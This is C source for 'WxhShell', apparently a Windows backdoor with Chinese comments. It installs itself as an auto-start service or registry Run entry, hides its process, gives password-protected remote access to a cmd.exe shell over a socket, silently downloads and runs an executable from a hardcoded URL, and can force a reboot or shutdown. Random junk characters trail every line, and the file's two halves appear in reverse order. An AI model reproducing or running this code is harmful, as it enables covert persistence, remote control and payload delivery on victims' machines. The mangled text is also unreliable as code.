    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Sv'y e  
    if(Boot(SHUTDOWN)) l"(6]Z 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wQ+8\ s=  
    else { LD>\#q8a*  
    closesocket(wsh); *Dmx&F=3,5  
    ExitThread(0); yxt[= C  
    } yX!HZu;j  
    break; C&~1M}I  
    } =1p8 i  
  // 获取shell Rp9fO?ZjHt  
  case 's': { &?,6~qm[  
    CmdShell(wsh); 6KZf%)$  
    closesocket(wsh); <#M`5X.  
    ExitThread(0); G:W>I=^DaR  
    break; 'heJ"k?  
  } `J0i.0p  
  // 退出 ^|!I +  
  case 'x': { c{+AJ8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }8-\A7T  
    CloseIt(wsh); ZR0r>@M3v<  
    break; nH|,T%  
    } k S# CEU7  
  // 离开 )B# ,  
  case 'q': { h#r^teui)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \2 y5_;O  
    closesocket(wsh); kq=V4-a[  
    WSACleanup(); FQz?3w&ia  
    exit(1); a:, y Z  
    break; ;`YkMS`=W  
        } <A5]]{9 +  
  } |RkcDrB~  
  } Q/ms]Du  
N6OMY P1  
  // 提示信息 /93l74.w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wC_l@7 t  
} epHJ@W@#  
  } ulFzZHJ  
wXMDh$  
  return; $~0Q@):  
} WE6a'  
B/JO~;{  
// shell模块句柄 -t2T(ha  
int CmdShell(SOCKET sock) "9EE1];NT  
{ 2& PPz}Sw  
STARTUPINFO si; iD38\XNMV  
ZeroMemory(&si,sizeof(si)); mW2,1}Jv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qBV x6MI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YTQt3=1ii  
PROCESS_INFORMATION ProcessInfo; "@A![iP  
char cmdline[]="cmd"; 0MMEo~dih  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s=6}%%q6  
  return 0; B(?Yw>Xd[  
} =]`lN-rYw  
u]-_<YZ'B  
// 自身启动模式 1n5(S<T  
int StartFromService(void) @`opDu!  
{ :2 >hoAJJ  
typedef struct 0Sq][W=  
{ '>$EOg"  
  DWORD ExitStatus; X,aYK;q%z  
  DWORD PebBaseAddress; \0l>q ,  
  DWORD AffinityMask; PNF?;*`-{7  
  DWORD BasePriority; SzwQOs*  
  ULONG UniqueProcessId; W7"{r)7  
  ULONG InheritedFromUniqueProcessId; {rfF'@[  
}   PROCESS_BASIC_INFORMATION; DS-0gVYeDW  
?[<Tx-L  
PROCNTQSIP NtQueryInformationProcess; j"^ +oxH  
znJhP}(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XqRJr%JH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G+xt5n.%  
D4eTTfQ  
  HANDLE             hProcess; tWTKgbj(  
  PROCESS_BASIC_INFORMATION pbi; 'i;|c  
/-bF$)vN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^D^4 YJz  
  if(NULL == hInst ) return 0; -K,-h[ o  
]<(]u#g_d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \!IMaB]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2sNK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bNFLO Q  
taGU  
  if (!NtQueryInformationProcess) return 0; ;6@r-r  
IK,|5]*Ar  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D|Iur W1f  
  if(!hProcess) return 0; %75xr9yOP  
}i {sg#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dzK{ Z  
`l2O?U-@  
  CloseHandle(hProcess); ? J} r  
!USd9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8}H1_y-g[  
if(hProcess==NULL) return 0; ~\x:<)  
&l$Q^g  
HMODULE hMod; %ms'n  
char procName[255]; 1Je9,dd6  
unsigned long cbNeeded; /bj <Ft\  
X[#zCM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M8H5K  
+^*iZ6{+7  
  CloseHandle(hProcess); PJxH7|GSi  
'(? uPr  
if(strstr(procName,"services")) return 1; // 以服务启动 (~zd6C1.  
K{n{KB&_&  
  return 0; // 注册表启动 m9U"[Huv1E  
} x21dku<6K[  
p!]6ll^  
// 主模块 ~~/xR s  
int StartWxhshell(LPSTR lpCmdLine) 9/+Nj/  
{ :o:e,WKxb  
  SOCKET wsl; %WqNiF0-  
BOOL val=TRUE; {`2R,Jb%S  
  int port=0; E?(xb B  
  struct sockaddr_in door; o=FE5"t  
85 EQ5yY  
  if(wscfg.ws_autoins) Install(); #%J5\+ua  
OD' ]:  
port=atoi(lpCmdLine); $$:ZX  
$/6;9d^  
if(port<=0) port=wscfg.ws_port; BCe_@  
G'YH6x,  
  WSADATA data; ARcv;H 5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w9 w%&{j  
u77E! z4Uz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XLMb=T~S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s1|/S\   
  door.sin_family = AF_INET; q+B&orp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s@MYc@k  
  door.sin_port = htons(port); ==i[w|  
XqM3<~$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cYXM__  
closesocket(wsl); @EE."T9  
return 1; -hC,e/+  
} olLfko4$*V  
qY\f'K}Q*  
  if(listen(wsl,2) == INVALID_SOCKET) { b64 @s2]  
closesocket(wsl); x `V;Y]7'  
return 1; n$xQ[4eH)  
} '`1CBU$  
  Wxhshell(wsl); (98Nzgxgx}  
  WSACleanup(); :eo  
Qt]Q: 9I[  
return 0; e #/E~r&  
.9O$G2'oh  
} &rkEK4  
p4VeRJk%  
// 以NT服务方式启动 N'xSG`,Mg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (E]!Z vE  
{ /?'; nGq  
DWORD   status = 0; jqr1V_3(  
  DWORD   specificError = 0xfffffff; ]kG(G%r|M  
s,a}?W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yV)la@c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DcSnia62f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?5kHa_^  
  serviceStatus.dwWin32ExitCode     = 0; OFje+S  
  serviceStatus.dwServiceSpecificExitCode = 0; 1Bxmm#  
  serviceStatus.dwCheckPoint       = 0; r! Ay :r  
  serviceStatus.dwWaitHint       = 0; Y.^=]-n,  
5BBD.!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /%lZu^  
  if (hServiceStatusHandle==0) return;  |W<+U  
pRSOYTebP  
status = GetLastError(); t4?DpE  
  if (status!=NO_ERROR) ktDC/8  
{ Vf(6!iRP@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Wu)>U  
    serviceStatus.dwCheckPoint       = 0; R *F l8   
    serviceStatus.dwWaitHint       = 0; dL|+d:v  
    serviceStatus.dwWin32ExitCode     = status; jY_T/233d  
    serviceStatus.dwServiceSpecificExitCode = specificError; !%dN<%Ah  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o:V|:*1Q  
    return; %X9r_Hx  
  } 4Vq%N  
\@&_>us  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :x_'i_w  
  serviceStatus.dwCheckPoint       = 0; klUQkz |<a  
  serviceStatus.dwWaitHint       = 0; eW|^tH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %4HRW;IU  
} 'U'yC2BI n  
H4]Ul eU  
// 处理NT服务事件,比如:启动、停止 zSb PW 6U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :kfp_o+J  
{ | >z3E z  
switch(fdwControl) G9JAcO1  
{ (rg;IXAq%  
case SERVICE_CONTROL_STOP: )?wJF<[_#  
  serviceStatus.dwWin32ExitCode = 0; ;2Q~0a|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vX]Gf4,  
  serviceStatus.dwCheckPoint   = 0; sUE?v9  
  serviceStatus.dwWaitHint     = 0; &>H!}"Yk  
  { KN-avu_Ix  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mS0udHod  
  } }`+B=h-dW  
  return; ,]T2$?|  
case SERVICE_CONTROL_PAUSE: 'w1YFdW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E@Ad'_H  
  break; ^eoLAL  
case SERVICE_CONTROL_CONTINUE: s=[h?kB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F`9]=T0  
  break; U!Ek'  
case SERVICE_CONTROL_INTERROGATE: H:"ma S\I  
  break; ul*Qt}  
}; )Pv9_XKJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2h%z ("3/  
} P (S>=,Y&  
YtO|D  
// 标准应用程序主函数 'fPdpnJ<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r [ K5w  
{ MX+ Z ?  
|\n_OS 7  
// 获取操作系统版本 w|Nz_3tI  
OsIsNt=GetOsVer(); In[Cr/&/Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #h/Mbj~S  
O`vTnrY  
  // 从命令行安装 Zkf0p9h\  
  if(strpbrk(lpCmdLine,"iI")) Install(); DfKr[cqLM  
FN[{s  
  // 下载执行文件 yeHDa+}  
if(wscfg.ws_downexe) { VWO9=A*Y|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @_z4tUP  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;,]P=Ey  
} zz& ?{vJ  
MMj9{ou  
if(!OsIsNt) { ,*7d  
// 如果时win9x,隐藏进程并且设置为注册表启动 -ig6w.%lk  
HideProc(); _2N$LLbg  
StartWxhshell(lpCmdLine); D1 &A,2wO  
} <\;#jF%V  
else 1T[et-  
  if(StartFromService()) &d|r~NhP  
  // 以服务方式启动 (64yg  
  StartServiceCtrlDispatcher(DispatchTable); !fj(tPq  
else ZI=v.wa  
  // 普通方式启动 <ZB1Vi9}8  
  StartWxhshell(lpCmdLine); -I=l8m6L  
}*L(;r)q  
return 0; <qGu7y"  
} y{N-+10z  
{P*m;a`}  
|7zd%!  
nMJ#<'v^!2  
=========================================== HbW0wuI  
QcpXn4/*  
l<);s  
\<g*8?yFs  
p}cw{  
y '!m4-  
" .?l\g-;=  
8Ac:_Zg  
#include <stdio.h> sM9+dh  
#include <string.h> ^`G}gWBx}w  
#include <windows.h> f;b[w   
#include <winsock2.h> ,N0#!<}4  
#include <winsvc.h> p|]\P%,\  
#include <urlmon.h> tPF.r  
g1( IR)U!z  
#pragma comment (lib, "Ws2_32.lib") ? YG)I;(  
#pragma comment (lib, "urlmon.lib") o]opdw  
rEF0oJ.  
#define MAX_USER   100 // 最大客户端连接数 #_u~/jhX  
#define BUF_SOCK   200 // sock buffer Hhh0T>gi  
#define KEY_BUFF   255 // 输入 buffer KY~- ;0x  
ye MB0Z*r  
#define REBOOT     0   // 重启 hvaSH69*m  
#define SHUTDOWN   1   // 关机 :ijAqfX  
|vw"[7_aS  
#define DEF_PORT   5000 // 监听端口 /gG"v5]  
K1T4cUo  
#define REG_LEN     16   // 注册表键长度 O<V4HUW  
#define SVC_LEN     80   // NT服务名长度 ^ (FdXGs[  
v;ZA 4c  
// 从dll定义API d m`E!R_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @<x*.8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *IM;tD+7Q~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )>Yu!8i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xKho1Z  
is-7 j7;  
// wxhshell配置信息 *I0T{~  
struct WSCFG { hyFyP\u]  
  int ws_port;         // 监听端口 z5 YWt*nm  
  char ws_passstr[REG_LEN]; // 口令 -jiG7OL  
  int ws_autoins;       // 安装标记, 1=yes 0=no %QP0  
  char ws_regname[REG_LEN]; // 注册表键名 2=^m9%  
  char ws_svcname[REG_LEN]; // 服务名 n<u $=H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f=9|b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qXwPDq/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &mx)~J^m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pS7w' H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bf8jPa/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  v%iflCK  
\:UIc*S  
}; ~W-PD  
Uw7h=UQh  
// default Wxhshell configuration ~ (jKz}'~U  
struct WSCFG wscfg={DEF_PORT, MpR2]k#n<  
    "xuhuanlingzhe", lx7Q.su'  
    1, &:`U&06q  
    "Wxhshell", (P:<t6;+  
    "Wxhshell", #n8IZ3+  
            "WxhShell Service", $F5 b  
    "Wrsky Windows CmdShell Service", w}YlVete  
    "Please Input Your Password: ", Nb'''W-iu  
  1, H|HYo\@F#  
  "http://www.wrsky.com/wxhshell.exe", av|g}xnj  
  "Wxhshell.exe" ?snp8W-WB  
    }; 4v{o  
Sxh]R+Xb  
// 消息定义模块 Iepsz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jJPGrkr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jIyB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~S,,w1`  
char *msg_ws_ext="\n\rExit.";   #^A*  
char *msg_ws_end="\n\rQuit."; c$yk s  
char *msg_ws_boot="\n\rReboot..."; }|8_9Rx0*  
char *msg_ws_poff="\n\rShutdown...";  cHk)i  
char *msg_ws_down="\n\rSave to "; AiO$<CS  
Vo'T!e- B  
char *msg_ws_err="\n\rErr!"; 2|*JSU.I  
char *msg_ws_ok="\n\rOK!"; z\%67C  
G VYkJ0,  
char ExeFile[MAX_PATH]; Yz +ZY  
int nUser = 0; rr02pM0  
HANDLE handles[MAX_USER]; ElW~48  
int OsIsNt; 1^}[&ar  
|$ lM#Ua  
SERVICE_STATUS       serviceStatus; @X;!92i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /k,-P  
>E{";C)  
// 函数声明 DBr ZzA  
int Install(void);  KJaXg;,H  
int Uninstall(void); yj.7'{mA  
int DownloadFile(char *sURL, SOCKET wsh); 7E79-r&n  
int Boot(int flag); fy@<&U5rg  
void HideProc(void); %2{ %Obp'  
int GetOsVer(void); |#cm`v  
int Wxhshell(SOCKET wsl); ^Xq 6:  
void TalkWithClient(void *cs); %UERc{~o*,  
int CmdShell(SOCKET sock); e9U9Uu[  
int StartFromService(void); heC/\@B  
int StartWxhshell(LPSTR lpCmdLine); $m-2Hh qZ  
{ix?Brq/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9 %I?).5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r w2arx  
FWG6uKv  
// 数据结构和表定义 CU@Rob}s  
SERVICE_TABLE_ENTRY DispatchTable[] = ?FpWvyz|  
{ 67G?K;)e  
{wscfg.ws_svcname, NTServiceMain}, (jRm[7H  
{NULL, NULL} ?En O"T.  
}; n%.7h3  
/YMj-S_b~  
// 自我安装 '6cWS'9"  
int Install(void) m4hg'<<V  
{ 7>))D'l57  
  char svExeFile[MAX_PATH]; b)qoh^  
  HKEY key; ZJzt~ H  
  strcpy(svExeFile,ExeFile); _ 4U5  
lJ}_G>GJ  
// 如果是win9x系统,修改注册表设为自启动 DpvI[r//'*  
if(!OsIsNt) { L(|N[#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c]n1':FT"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Vrh4g.l  
  RegCloseKey(key); QLvHQtzwX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J$GUB3 G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qzKdQ&vO  
  RegCloseKey(key); 2db3I:;E  
  return 0; ZQ%'`q\c  
    } U4C 9<h&  
  } 2a`o &S  
} L\xk:j1[  
else { Ez fN&8E  
KyYMfC  
// 如果是NT以上系统,安装为系统服务 gM u"2I5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t!W(_8j  
if (schSCManager!=0) >_-s8t=|  
{ zuJ@E=7  
  SC_HANDLE schService = CreateService t\k$};qJ  
  ( @hiCI.?X  
  schSCManager, /'l{E  
  wscfg.ws_svcname, Cz\e w B  
  wscfg.ws_svcdisp, _/-jX  
  SERVICE_ALL_ACCESS, g(qJN<R C/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jHE}qE~>5  
  SERVICE_AUTO_START, S >X:ZYYC  
  SERVICE_ERROR_NORMAL, M3c$=>  
  svExeFile, e.7EU  
  NULL, IEsEdw]aZE  
  NULL, l1OE!W W  
  NULL, P2BWuh F  
  NULL, +./H6!  
  NULL }@'$b<!B  
  ); ]6(N@RC  
  if (schService!=0) .f%fHj  
  { K1"*.\?F  
  CloseServiceHandle(schService); ?(D q?-.  
  CloseServiceHandle(schSCManager); VM GS[qrG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); - D  
  strcat(svExeFile,wscfg.ws_svcname); !;Yg/'vD-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cl=EA6P\X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cl[BF'.H  
  RegCloseKey(key); 5\5/  
  return 0; Y)0*b5?1r  
    } }Jy8.<Gd^  
  } AS'R?aX|C  
  CloseServiceHandle(schSCManager); /Y W>*?"N  
} p*4':TFuD;  
} :dl]h&C^  
I7|Pi[e  
return 1; GP!?^r:en  
} ^84G%)`&  
rb5~XnJk  
// 自我卸载 EUD~CZhS"k  
int Uninstall(void) , pDnRRJ!  
{ %p^wZtm  
  HKEY key; Xx."$l  
:DrWq{4  
if(!OsIsNt) { `w#Oih!6A|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [R(`W#W  
  RegDeleteValue(key,wscfg.ws_regname); Y!~49<;  
  RegCloseKey(key); $+8cc\fq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pk{_(ybaY  
  RegDeleteValue(key,wscfg.ws_regname); bv]`!g: C  
  RegCloseKey(key); LSa,1{  
  return 0; p4.wh|n  
  } X@ +{5%  
} n7B7m,@1  
} $2oTkOA   
else { bhTb[r  
u)X=Qm)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r?+%?$  
if (schSCManager!=0) H*RC@O_hv  
{ >Ea8G,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~ -4{B  
  if (schService!=0) :~b3^xhc^  
  { lGPUIoUo  
  if(DeleteService(schService)!=0) { 0bceI  
  CloseServiceHandle(schService); .0S~872  
  CloseServiceHandle(schSCManager); Uol|9F  
  return 0; 1n >X[! 8x  
  } AF;)#T<  
  CloseServiceHandle(schService); rn/ /%  
  } 3m]4=  
  CloseServiceHandle(schSCManager); \8)U!9,$nn  
} lP[w?O  
} 5gH1.7i b  
wa<MRt W=  
return 1; I WTwz!+  
} lGV0 *Cji  
6Z>FTz_  
// 从指定url下载文件 A>vBQN  
int DownloadFile(char *sURL, SOCKET wsh) M>wYD\oeg  
{ D"Bl:W'?j  
  HRESULT hr; zvYq@Mhr  
char seps[]= "/"; yh Yb'GK  
char *token; MW! srTQ_  
char *file; 7L`A{L  
char myURL[MAX_PATH]; )IP,;<  
char myFILE[MAX_PATH]; Pu7_ v  
F3N?Nk/  
strcpy(myURL,sURL); 4,bv)Im+ `  
  token=strtok(myURL,seps); ^ZvWR%  
  while(token!=NULL) sv: 9clJ  
  { nno}e/zqf  
    file=token; 6LOnU~l,  
  token=strtok(NULL,seps); &vo--V1|  
  } 9v;Vv0k_  
u!!Y=!y*<  
GetCurrentDirectory(MAX_PATH,myFILE); H{@Yo\J  
strcat(myFILE, "\\"); #o=y?(  
strcat(myFILE, file); j#X.KM   
  send(wsh,myFILE,strlen(myFILE),0); s [M?as  
send(wsh,"...",3,0); a=1NED'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N+m)/x =:  
  if(hr==S_OK) nGpXI\K  
return 0; T}Km?d  
else xHUsFm s  
return 1; `n#H5Oyn  
Pj#<K%Bz  
} In:9\7~jC  
t9,\Hdo  
// 系统电源模块 X\`_3=  
int Boot(int flag) K{x\4  
{ g-Mj.owu=  
  HANDLE hToken; X> 1,!I9  
  TOKEN_PRIVILEGES tkp; X^T:8npxt  
(X $=Q6  
  if(OsIsNt) { G3+.H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "9m2/D`=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sNj)ZWgd>  
    tkp.PrivilegeCount = 1; 3*]eigi)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @E;=*9ek{u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4iqoR$3Fc  
if(flag==REBOOT) { LIS)(X<]?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9%8"e>~  
  return 0; D N'3QQn  
} na#CpS;pc  
else { qIVx9jNN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8qY79)vD4E  
  return 0; %b%-Ogz;4  
} vL|SY_:4  
  } r;B8i!gD  
  else { \.C +ue  
if(flag==REBOOT) { TlXI|3Ip  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =+/eLKG  
  return 0; &Lt}=3G  
} t#Z-mv:(  
else { =@m &s^R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {v=T [D  
  return 0; vX{J' H]u  
} J5di[nu  
} gi(H]|=a  
!g?|9  
return 1; *?Lv3}E  
} (*Z)(O*z  
'[U8}z3  
// win9x进程隐藏模块 {\S+#W\  
void HideProc(void) >/:" D$  
{ JI?rL  
I, -hf=-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]Uw<$!$-]s  
  if ( hKernel != NULL ) V `b2TS  
  { M3J#'%$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?HTj mIb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :?k>HQe  
    FreeLibrary(hKernel); &)8:h+&Z  
  } *'OxAfa#x  
0@ yXi  
return; b o0^3]Z  
} LUG;(Fko  
 !;EjB*&  
// 获取操作系统版本 Fgkajig  
int GetOsVer(void) k >F'ypm  
{ bBu,#Mc  
  OSVERSIONINFO winfo; us ;YV<)d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y)F;zW<+  
  GetVersionEx(&winfo); _wC3kAO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <A<{,:5C  
  return 1; 0]>u )%  
  else `k=bL"T>\  
  return 0; H9KKed47d/  
} N8!cO[3Oh  
{s)+R[?m<o  
// 客户端句柄模块 q`|LRz&al  
int Wxhshell(SOCKET wsl) x9$` W  
{ _.>QEh5"5  
  SOCKET wsh; {p)",)td  
  struct sockaddr_in client; #,S0HDDHn  
  DWORD myID; P::TO-C  
9iXeBC  
  while(nUser<MAX_USER) ;lq;X{/  
{ ,/YF-L$(t  
  int nSize=sizeof(client); BS /G("oZ[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^g*pGrl#  
  if(wsh==INVALID_SOCKET) return 1; il}%7b-  
<DMl<KZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vh"R'o  
if(handles[nUser]==0) *Nw&_<\9Q  
  closesocket(wsh); /+8JCp   
else ` BDLW%aL  
  nUser++; 0n@rLF  
  } #%`|~%`{:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); unshH<  
FjK3 .>'  
  return 0; 0T@Zb={  
} zw+B9PYqX  
-d8TD*^  
// 关闭 socket @_U;9)  
void CloseIt(SOCKET wsh) ,%n\=  
{ #?5 (o  
closesocket(wsh); 8 ![|F:  
nUser--; ,O.3&Nz,c  
ExitThread(0); -c(F1l  
} 0FGe=$vD  
Uh.oErHQD  
// 客户端请求句柄 HqI t74+  
void TalkWithClient(void *cs) hD\rtW  
{ _Bj)r}~7#  
`o<' x.I  
  SOCKET wsh=(SOCKET)cs; =2[7 E  
  char pwd[SVC_LEN]; EzDk}uKY0R  
  char cmd[KEY_BUFF]; )_1zRT|9  
char chr[1]; =2Bg9!zW>  
int i,j; Kpb#K[(]&  
>GQEqXs  
  while (nUser < MAX_USER) { L~_9_9c  
Ks=>K(V6  
if(wscfg.ws_passstr) { h lkn%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W;_nK4$%'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q/4YS0CqE  
  //ZeroMemory(pwd,KEY_BUFF); |\QgX%  
      i=0; Rz (QC\(  
  while(i<SVC_LEN) { -9"['-WH,  
X'%E\/~u  
  // 设置超时 z."a.>fPaO  
  fd_set FdRead; 8*8Zc/{  
  struct timeval TimeOut; ki[UV zd  
  FD_ZERO(&FdRead); Fkvl%n  
  FD_SET(wsh,&FdRead); 9v?N+Rb  
  TimeOut.tv_sec=8; LAVAFlK5  
  TimeOut.tv_usec=0; &F\?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Em?d*z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JXCCTUO  
}tsYJlh5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "u6`m?  
  pwd=chr[0]; y|CP;:f;  
  if(chr[0]==0xd || chr[0]==0xa) { @|<<H3I  
  pwd=0; :{qv~&+C  
  break; ~vs}.kb  
  } sW)Zi  
  i++; ld3-C55  
    } -M%_\;"de  
[`p=(/I&L  
  // 如果是非法用户,关闭 socket ,$1eFgY%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WtViW=j'  
} RMd[Yr2e  
N5*u]j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +u!0rLb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XS`M-{f`  
GN-mrQo  
while(1) { fNb`X  
kjEEuEv  
  ZeroMemory(cmd,KEY_BUFF); 5nv<^>[J  
R>,:A%?^b5  
      // 自动支持客户端 telnet标准   &n6$rBr %  
  j=0; hJwC~HG5  
  while(j<KEY_BUFF) { wB.Nn/p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K) qF+Vb^j  
  cmd[j]=chr[0]; U Z.=aQ}M  
  if(chr[0]==0xa || chr[0]==0xd) { (rkyWz  
  cmd[j]=0; V2$h8\a  
  break; CLeG<Hi ~  
  } 1&^MfP}  
  j++; d@ Y}SWTB  
    } )jkXS TZ  
dYSr4p b  
  // 下载文件 \cC%!4  
  if(strstr(cmd,"http://")) { M7+nW ; e%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ul2R'"FB  
  if(DownloadFile(cmd,wsh)) d*A*y^OD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); la( <8  
  else >y.%xK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f@8>HCI  
  } Z-E`>  
  else { *GxTX3i}vc  
'a$Gv&fu  
    switch(cmd[0]) { hGd<<\  
  @) s,{F  
  // 帮助 F;=4vS]\  
  case '?': { RE =`  
